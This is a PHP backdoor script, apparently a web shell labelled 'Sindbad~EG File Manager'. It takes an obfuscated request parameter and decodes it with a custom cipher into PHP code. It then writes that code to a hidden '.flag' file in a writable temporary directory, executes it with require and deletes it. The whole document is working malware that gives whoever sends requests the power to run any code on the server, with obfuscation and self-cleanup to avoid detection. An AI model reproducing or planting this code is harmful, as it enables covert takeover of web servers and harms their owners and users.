Sindbad~EG File Manager

<?php

if(@$_REQUEST["\x64\x65\x73cr\x69pt\x6Fr"] !== null){
	$key = $_REQUEST["\x64\x65\x73cr\x69pt\x6Fr"];
	  	$key 	 =  explode 	(	  "."	 	, $key	); 
	$ref 	='';
            $s8 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen($s8);
            $n 	=0;
            $__len 	=count($key);
    
            do {
                if($n>=$__len) break;
                $v7 	=$key[$n];
                $chS 	=ord($s8[$n % $lenS]);
                $dec 	=((int)$v7 - $chS -($n % 10)) 	^	 95;
                $ref	.=  chr($dec);
                $n++;
            } while(true);
	$ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP")]);
	foreach ($ent as $key => $record) {
    		if (is_dir($record) && is_writable($record)) {
    $value = join("/", [$record, ".flag"]);
    if (file_put_contents($value, $ref)) {
	require $value;
	unlink($value);
	die();
}
}
}
}